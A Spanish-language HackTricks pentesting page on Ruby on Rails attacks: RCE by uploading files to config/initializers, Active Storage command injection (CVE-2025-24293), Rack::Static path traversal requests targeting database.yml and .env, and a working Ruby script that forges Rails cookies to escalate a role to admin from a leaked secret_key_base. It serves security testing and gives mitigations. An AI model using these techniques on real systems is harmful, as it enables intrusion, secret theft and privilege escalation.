Trucos de Ruby

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Subida de archivos a RCE

Como se explica en this article, subir un archivo .rb a directorios sensibles como config/initializers/ puede llevar a remote code execution (RCE) en aplicaciones Ruby on Rails.

Tips:

  • Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej., config/initializers/ es la clásica). Si encuentras una subida arbitraria de archivos que cae en cualquier lugar bajo config/ y luego se evalúa/requirea, puedes obtener RCE al arranque.
  • Busca dev/staging builds que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará en el boot.

Active Storage image transformation → command execution (CVE-2025-24293)

Cuando una aplicación usa Active Storage con image_processing + mini_magick, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por error por defecto.

  • Un patrón vulnerable se ve así:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

donde params[:t] y/o params[:v] están controlados por el atacante.

  • Qué probar durante las pruebas

  • Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios de ImageMagick.

  • Fuzz params[:t] y params[:v] buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos raw que lleguen a MiniMagick, podrías conseguir code exec en el host que procesa las imágenes.

  • Si solo tienes acceso de lectura a las variantes generadas, intenta blind exfiltration vía operaciones de ImageMagick especialmente construidas.

  • Remediación/detecciones

  • Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick más hardening.

Rack::Static LFI / path traversal (CVE-2025-27610)

Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de rack anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía Rack::Static cuando :root no está establecido/mal configurado. Traversal codificado en PATH_INFO puede exponer archivos bajo el working directory del proceso o un root inesperado.

  • Busca apps que monten Rack::Static en config.ru o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Ajusta el prefijo para que coincida con los urls: configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI a cualquier cosa bajo el :root resuelto.

  • Mitigación: actualizar Rack; asegurar que :root solo apunte a un directorio de archivos públicos y esté establecido explícitamente.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails cifra y firma cookies usando claves derivadas de secret_key_base. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), usualmente puedes descifrar, modificar y volver a cifrar cookies. Esto a menudo conduce a bypass de authz si la app almacena roles, user IDs, o feature flags en cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notas:

  • Las aplicaciones más antiguas pueden usar AES-256-CBC y salts encrypted cookie / signed encrypted cookie, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda.
  • En caso de compromiso/evaluación, rota secret_key_base para invalidar todas las cookies existentes.

Ver también (Ruby/Rails-specific vulns)

Referencias

  • Anuncio de seguridad de Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
  • Aviso de GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks